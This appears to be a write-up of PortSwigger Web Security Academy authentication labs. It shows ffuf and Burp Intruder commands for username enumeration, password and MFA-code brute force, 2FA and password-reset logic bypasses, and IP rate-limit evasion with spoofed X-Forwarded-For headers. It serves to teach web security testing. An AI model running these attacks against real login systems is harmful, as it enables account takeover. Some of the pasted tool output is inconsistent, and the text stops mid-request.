Authentication Vulnerability Practical
Lab #1: Username enumeration via different response
$ ffuf -w ../user.txt:FUZZ -u https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login -X POST -d "username=FUZZ&password=anything" -H "Content-Type: application/x-www-form-urlencoded" -fs 2884
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login
:: Wordlist : FUZZ: ../user.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=anything
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 2884
________________________________________________
app1 [Status: 200, Size: 2886, Words: 1097, Lines: 62, Duration: 194ms]
:: Progress: [101/101] :: Job [1/1] :: 18 req/sec :: Duration: [0:00:07] :: Errors: 0 ::
In the above command, I use ffuf
with the following parameters
-w: To specify the wordlist of usernames
-u: To specify the target URL
-X: To specify the request method in that case its POST
-d: To specify the request data i.e username and password
-H: To specify the Header
-fs: To filter the result with the request size
The above command is using a tool called "ffuf" to perform a brute force attack on a login page at https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login. The attack is focused on enumerating valid usernames for the login page, using a list of usernames provided in a file named "user.txt". The "-w
" flag is used to specify the wordlist file, while the "FUZZ
" keyword is used to indicate where the values from the wordlist should be substituted in the request.
The attack is performed using the HTTP POST method, and the "-d
" flag is used to specify the data to be submitted with the request. In this case, the data includes the "username
" parameter, which is being brute-forced using the "FUZZ
" keyword, and a static "password
" parameter with the value "anything
". The "-H" flag is used to specify the "Content-Type" header of the request in that case it's "application/x-www-form-urlencoded
".
The "-fs
" flag is used to filter responses based on their size. In this case, only responses with a size of 2884 bytes will be considered valid.
We use the ffuf
tool to perform this attack but we can use any other tools like Burp Suite, Wfuzz, Gobuster, etc. For using ffuf
we should be careful to supply valid filter and request to this attack to get success. In the above case, we use the filter by size with the value 2884 but initially, we don't know which value we have to use to filter so in that case first we have to make a request without the -fs
parameter that will show us so many responses with the following things
[Status: 200, Size: 2884, Words: 1097, Lines: 62, Duration: 194ms]
In the above results, we have to see which things are getting different like Size: 2884
, Words: 1097
etc we cannot use Status: 200
because all the requests get Status: 200
and if we filter that out then we cannot get any results. So we have to carefully choose the filter that we think should give us the correct results. Another thing we should be careful of is to specify the Content-Type
Header in the POST request and its values according to the initial request in the browser. If we cannot specify that header then our request is invalid because the server doesn't understand our request type so they cannot parse our data, so we have to specify the Content-Type
Header with its values either thats application/json
or in that case, it's application/x-www-form-urlencoded
. By carefully understanding what type of request we have to make we can successfully perform this attack.
So now you can understand what we did above and see the output you can see we get a valid username and that app1
. Now we can brute-force its password by using this ffuf command.
$ ffuf -w ../password.txt:FUZZ -u https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login -X POST -d "username=app1&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login
:: Wordlist : FUZZ: ../password.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=app1&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response status: 200
________________________________________________
pass [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 196ms]
:: Progress: [100/100] :: Job [1/1] :: 19 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
Most of the things are the same the only thing we change there is the username with app1
and password with the FUZZ
keyword to brute force and filter by response code 200
because most of the login forms if we get a successful login they will redirect us to other page and its code is in between 300-399 so we filter the status code 200 so we only get the result that status code doesn't equal to 200. Using this technique and carefully using the tool we can exploit authentication issues.
Lab #2: 2FA simple bypass
Lab URL: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass
Obtained Credentials
wiener:peter
carlos:montoya
This lab contains a login form and an email client for wiener
users. When we log in using wiener user they sent the POST request to the /login
endpoint and the request looks like this.
POST /login HTTP/2
Host: 0aae0022045642b2c00790de00220030.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: https://0aae0022045642b2c00790de00220030.web-security-academy.net
Dnt: 1
Referer: https://0aae0022045642b2c00790de00220030.web-security-academy.net/login2
Upgrade-Insecure-Requests: 1
username=wiener&password=peter
Their response looks like this.
HTTP/2 302 Found
Location: /login2
Set-Cookie: session=s0NR83jd3Ikb7ZO1l3pfuV6GSn0MQoZ9; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
They redirect us to the /login2
endpoint and set a session cookie. The /login2
endpoint generates an MFA code and is sent to our email client. when we use that code and sent the request our request looks like this.
POST /login2 HTTP/2
Host: 0aae0022045642b2c00790de00220030.web-security-academy.net
Cookie: session=s0NR83jd3Ikb7ZO1l3pfuV6GSn0MQoZ9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0aae0022045642b2c00790de00220030.web-security-academy.net
Dnt: 1
Referer: https://0aae0022045642b2c00790de00220030.web-security-academy.net/login2
Upgrade-Insecure-Requests: 1
mfa-code=1946
Its response looks like this
HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=s0NR83jd3Ikb7ZO1l3pfuV6GSn0MQoZ9; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
They check the MFA code and if that's correct they will redirect us to the /my-account
endpoint with the same cookie that we get when we log in to the /login
endpoint. If the code doesn't match they say MFA-code is incorrect error.
As they are using the same cookie we can try to log in
and instead of following the /login2
endpoint we can just go to the /my-account
endpoint and this will bypass 2FA. Using this for carlos
user we can access its account without MFA.
Lab #3: Password Reset broken logic
LAB URL: https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic
Given Credentials
wiener:peter
Victim's Username
carlos
The site has a forgot password functionality in which we can give our username and they sent the password reset link in his email. The password reset link looks like the following
https://0ad8002f031e11a1c1381280008e003e.web-security-academy.net/forgot-password?temp-forgot-password-token=FImsfxBXf4D0YSBu1w42jiOc6Rim7ApR
There we can give a New Password and Confirm the Password and its request looks like following
POST /forgot-password?temp-forgot-password-token=FImsfxBXf4D0YSBu1w42jiOc6Rim7ApR HTTP/2
Host: 0ad8002f031e11a1c1381280008e003e.web-security-academy.net
Cookie: session=QSaeCdd8cBWT4xKgDqZ2HaPXB24I4iFr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
Origin: https://0ad8002f031e11a1c1381280008e003e.web-security-academy.net
Dnt: 1
Referer: https://0ad8002f031e11a1c1381280008e003e.web-security-academy.net/forgot-password?temp-forgot-password-token=FImsfxBXf4D0YSBu1w42jiOc6Rim7ApR
Upgrade-Insecure-Requests: 1
temp-forgot-password-token=FImsfxBXf4D0YSBu1w42jiOc6Rim7ApR&username=wiener&new-password-1=peter&new-password-2=peter
There we can see username=wiener
has been given in the request if we can change it with some other username i.e carlos
we can change its password and login into his account.
Lab #4: Username enumeration via subtly different responses
LAB URL: https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses
In this lab, we have a login form in which we can login with a username and password. if any of these is incorrect then they show us an error message
Invalid username or password.
The request looks like this
POST /login HTTP/2
Host: 0a1900870411136ac1e490d30094006d.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: https://0a1900870411136ac1e490d30094006d.web-security-academy.net
Connection: keep-alive
Referer: https://0a1900870411136ac1e490d30094006d.web-security-academy.net/login
Cookie: session=b6Y6jPzOF2t1nfaeCysgzm1BsWmsQHLs
username=admin&password=admin
So we have to make a post request with a Content-Type: application/x-www-form-urlencoded
Header. So to do that we are using again ffuf
tool to brute force the username but any other tools can also be used i.e Burp Suite, Gobuster
, Wfuzz
, hydra, etc.
$ ffuf -w ../user.txt:FUZZ -X POST -d "username=FUZZ&password=Anything" -H "Content-Type: application/x-www-form-urlencoded" -u https://0a1900870411136ac1e490d30094006d.web-security-academy.net/login -fw 1109,1118
________________________________________________
:: Method : POST
:: URL : https://0a1900870411136ac1e490d30094006d.web-security-academy.net/login
:: Wordlist : FUZZ: ../user.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=Anything
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 1109,1118
________________________________________________
ai [Status: 200, Size: 2976, Words: 1110, Lines: 63, Duration: 196ms]
There we filter results by words -fw
with 1109
, and 1118
and didn't use the filter by size -fs
because when I use the filter by size different numbers of request sizes are returned from the server and I cannot able to filter to get one output so when I use the filter by words I only get one entry as you can see above and when I put the name on the login forms they give me an error message but they are not same as previous one they missed the .
in it.
Invalid username or password
So that's why they get different numbers of words. Now we know the username we can brute-force this user password using this ffuf
command.
ffuf -w ../password.txt:FUZZ -X POST -d "username=ai&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u https://0a1900870411136ac1e490d30094006d.web-security-academy.net/login -fc 200
________________________________________________
:: Method : POST
:: URL : https://0a1900870411136ac1e490d30094006d.web-security-academy.net/login
:: Wordlist : FUZZ: ../user.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=Anything
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 1109,1118
________________________________________________
moscow [Status: 320, Size: 2976, Words: 1110, Lines: 63,
LAB #5: Username enumeration via response timing
Given Credentials
wiener:peter
This lab has a login functionality in which we can use a username and password. If any of these would be incorrect an error message is shown.
Invalid username or password.
The site doesn't respond with other responses if any of these are incorrect. The login POST request looks like this.
POST /login HTTP/2
Host: 0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Cookie: session=T2uFGlgC9oNUAQWuXfp9GFgVSg0IPDf2
Content-Length: 796
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
username=wiener&password=peter
We cannot get any different response to guess a valid username but if we pass a long string in the password we will see a certain period of time delay if the username is correct.
POST /login HTTP/2
Host: 0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Cookie: session=T2uFGlgC9oNUAQWuXfp9GFgVSg0IPDf2
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
username=wiener&password=very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string_very_long_string...........
As you can see username is correct but the password is not and long string the server responded after some time and the time goes higher and higher based on how long your password string is. After three incorrect attempts, the server throws an error message.
You have made too many incorrect login attempts. Please try again in 30 minutes (s).
So it looks like they block our IP Address and we can only send another login request after 30 mins.
There are some headers that can be used to bypass IP-based protection systems some of them are the following.
X-Forwarded-Host
X-Forwarded-For
X-Real-IP
Client-IP
Forwarded-For
Forwarded
Via
These are some headers that are used in bypassing IP-based protection systems. By manually or automatically adding that header one by one we got the server accepts the X-Forwarded-For
Header and also they bypassed the IP-based Protection. So by adding that header we can brute force the username. Now our request looks like the following
POST /login HTTP/2
Host: 0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Cookie: session=T2uFGlgC9oNUAQWuXfp9GFgVSg0IPDf2
Content-Length: 722
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
X-Forwarded-For: 192.168.10.1
username=wiener&password=very_long_string_here
The header value doesn't be your real IP it just looks like an IP and we can brute-force the username with this. Sent the request to burp intruder because it is easy in that case but other tools can also be used but we should know how to detect the time delay in it.
In the intruder use the Pitchfork
Attack in Attack type option. and add two positions one for the last octet of IP and one for the username our request should look like this.
POST /login HTTP/2
Host: 0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Cookie: session=T2uFGlgC9oNUAQWuXfp9GFgVSg0IPDf2
Content-Length: 796
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-For: 192.168.10.§1§
username=§&password=aaaaaaaaaaaaaaaaaaaa...[redacted]...aaaaaaaaaaaa
Notice two §
signs in the username field and IP last octet now go to the payload section and for Payload Set 1
select the Payload Type to Number and set the number range like this
From: 1
To: 255
Step: 1
and set the Max fraction digit
to 0
and leave everything else as it is and select Payload Set
to 2
and select Payload Type
to Simple List
. Click the Load button and select the username list given on lab and click OK. The Payload Type 1
is for the IP Address field in our intruder and the Payload Type 2
field is for the username knowing all that just click the Start Attack
button and wait to finish the attack. After the attack finishes Click on the Columns
top drop-down menu and tick mark the Response Completed
and Response received
. This will add that column and we can see which requests get much time delay then we can just click on the field and they will arrange the order according to that and using that we can see which requests get a higher time delay so we can get the valid username.
Now we can brute force that user password and our request look like this now
POST /login HTTP/2
Host: 0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Cookie: session=T2uFGlgC9oNUAQWuXfp9GFgVSg0IPDf2
Content-Length: 791
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0aff00f1045e59f8c111d5ee001800d8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-For: 192.168.10.§80§
username=ar&password=§§
There we can again set the Payload Type Number for payload position 1
and Payload Type simple list for Payload Position 2
and load the password list from the lab and start the attack. This time we can filter result from the status code because successful login has a 302
status code and following that we can brute force the username and password.
Lab #6: Broken brute-force protection, IP block
Lab URL: https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block
Given Credentials
wiener:peter
Victim Username
carlos
This lab has a login functionality in which we can use a username and password. If the username is not exited they are shown an error message
Invalid username
This is vulnerable to username brute force and if the username is correct and the password is not then the shown an error message
Incorrect Password
After some incorrect attempts, they will show an error message
You have made too many incorrect login attempts. Please try again in 1 minute(s).
So they block our IP Address and we can send another request after 1 min. There is no other bypass using Headers like X-Forwarded-For
but if we log in using a valid account before the IP ban we can reset the count. So using that we can brute force username in two ways. One way is to make a list of usernames in which after two invalid usernames we have our valid usernames like the following.
admin
notadmin
wiener
carlos
montoya
wiener
So two wrong usernames with one correct username. And the other method is by using Burp Macros and we are using this method because they are much more convenient. So first go to the Project options
section of the burp suite and there select the Session
sub-section.
There on the Session Handling Rule
follow the following Method.
Click on the
Add
button to add a rule.In the
Rule Description
Section give the name for your rule[Optional]
In the
Rule Actions
Section click theAdd
button and there clickRun a macro
.A new window pops up and there click on the
Add
button to add a macroThey will open a
Macro Recorder
and show all the requests that a populated from your proxy.There select a Login Post request in which you successfully log in using
wiener:peter
credentialsAfter that leave all the settings as it is in
Macro Editor
and Click the OK button until you come back toSession handling rule editor
.There click on the
Scope
Section.There click on the un-tick button for all the Tool Scope except for
Intruder
.Check
Include all URLs
inURL Scope
.Then click OK
By following all the above steps carefully and correctly we successfully configure our macro now send the Login request to Intruder
and change the username to carlos
and add the payload position in the password parameter. The intruder request should look like the following.
POST /login HTTP/2
Host: 0a3f0034032f6c90c0cf4a1a001a001a.web-security-academy.net
Cookie: session=xVy4Epp8dHy7w5QPlikKgrgVu41e59Rp
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a3f0034032f6c90c0cf4a1a001a001a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
username=carlos&password=§§
Now go to the Payload
section and load a password list that is given on the lab page. After that go to Resource Pool
and create a New Resource Pool
give him a name (optional) check Maximum concurrent requests
to 1
and start the attack.
Now Intruder will start doing a password brute force and our macro will send successful login in the background. After Completion, you should see a successful login with status code 302
use that password to log in and solve the lab.
LAB #7: Username enumeration via account lock
Lab URL: https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock
This lab has a login functionality in which we can use a username and password. If any of these would be incorrect an error message is shown.
Invalid username or password.
The site doesn't respond with other responses if any of these are incorrect. The login POST request looks like this.
POST /login HTTP/2
Host: 0a310002037f20b5c09d63ec00d10037.web-security-academy.net
Cookie: session=nfP2lTCMEqD9aR8QdFkCPA7BTRjL4azt
Content-Length: 31
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a310002037f20b5c09d63ec00d10037.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
username=carlos&password=peterr
send this request to burp intruder and add Payload Position to the username and the password after some random value. The request should look like the following
POST /login HTTP/2
Host: 0a310002037f20b5c09d63ec00d10037.web-security-academy.net
Cookie: session=nfP2lTCMEqD9aR8QdFkCPA7BTRjL4azt
Content-Length: 31
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a310002037f20b5c09d63ec00d10037.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
username=§carlos§&password=random_value§§
In Attack type
select Cluster bomb
and go to the Payloads
section. For Payload Set 1
use payload type to simple list and load the username list. For Payload Set 2
select Payload type to Null payload
and generate 5
payloads and start the attack.
This will send 5 requests for one username and if they are correct we should see any other response than Invalid username and password.
To filter that we can go to the Options
section of the intruder and there on the Grep - Extract
section click on Add button when the pop showed there click on fetch Response
and scroll down and highlight the error message Incorrect username and password.
and click OK.
Now start the attack and you should see one error message is different send that username again to the intruder and now select the password parameter and use a simple list with your password list. Again use grep extract to extract the error message and run the attack. Every request has an error message but one request that has a correct password doesn't has any error message. Wait for 1 min for the account lock and then log in using that password and solve the lab.
LAB #8: 2FA broken logic
Lab URL: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic
Given Credentials
wiener:peter
Victim's username: carlos
This lab has a login functionality in which we can use a username and password. If any of these would be incorrect an error message is shown.
Incorrect username or password.
when the username and password are correct they redirect us to the /login2
endpoint and set the cookie verify=[username]
and session cookie session=[session value here]
. The exact request and response look like the following.
POST /login HTTP/2
Host: 0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Cookie: session=vbwYd2e4pHU9zwS7DTN1Tycm724KaM0l
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
username=wiener&password=peter
HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=wiener; HttpOnly
Set-Cookie: session=S1SDZaLeZsSKXJ3M7bVnq3Hfv1Yg9id2; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
The /login2
endpoint generates the mfa-code
for the username specified in the cookie and sent that code to its email account. We can send that mfa-code
with the POST request like the following.
POST /login2 HTTP/2
Host: 0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Cookie: verify=wiener; session=S1SDZaLeZsSKXJ3M7bVnq3Hfv1Yg9id2
Content-Length: 13
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
mfa-code=0102
If the code is correct they will redirect us to /my-account
.
HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=TKgrNSLUO1oq9COyQyerjbny5lTEZDjS; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
If the code is not correct they show an error message.
Incorrect MFA code.
The site doesn't enforce any MFA brute force protection and the MFA code is only 4 digit code so we can easily brute force any user's code and access its account using the following method.
Sent the GET request to the
/login2
endpoint with the cookie set to the victim username.
GET /login2 HTTP/2
Host: 0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Cookie: verify=carlos; session=S1SDZaLeZsSKXJ3M7bVnq3Hfv1Yg9id2
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
This will generate an MFA code for that user.
Now we can brute force that user mfa-code by sending the POST request to the intruder with the victim username.
And the payload position to mfa-code.
Use a simple list as an attack type
Load the list of 4-digit codes i.e SecLists/Fuzzing/4-digits-0000-9999.txt
Start the attack.
The successful code should redirect us to
/my-account
and the redirection request status code is 302 so we can add a filter to only show the3xx
code.
When you see the successful request right click on it and click show response in the browser option and copy the link and paste it into your browser and solve the lab.
LAB #9: Brute-forcing a stay-logged-in cookie
Given Credential: wiener:peter
Victim Username: carlos
Password list URL: https://portswigger.net/web-security/authentication/auth-lab-passwords
This lab has a login functionality in which we can use a username and password. If any of these would be incorrect an error message is shown.
Incorrect username or password.
If we send too many incorrect login attempts they will show us an error.
You have made too many incorrect login attempts. Please try again in 1 minute(s).
They lock our IP for 1 min
. There is no other headers are used to bypass the IP blocking protection.
The lab also has a stay login check-mark that is used to get a stay login otherwise we get logout after some time.
A simple Login request without stay login looks like this.
Request:
POST /login HTTP/2
Host: 0af000f40304a988c0f63b730062009d.web-security-academy.net
Cookie: session=hfuAVJg8zXlSamgPgAa7YB7gqZBtkfxP
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://0af000f40304a988c0f63b730062009d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
username=wiener&password=peter
Response:
HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=08cilTUkwHqCVIP2VJ7LUABewWtlcPwq; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Login Request with stay login is like this
Request:
POST /login HTTP/2
Host: 0af000f40304a988c0f63b730062009d.web-security-academy.net
Cookie: session=xpA3zbMbq6jHaCMh85j6QuWuS3ArrsnS
Content-Length: 48
Cache-Control: max-age=0
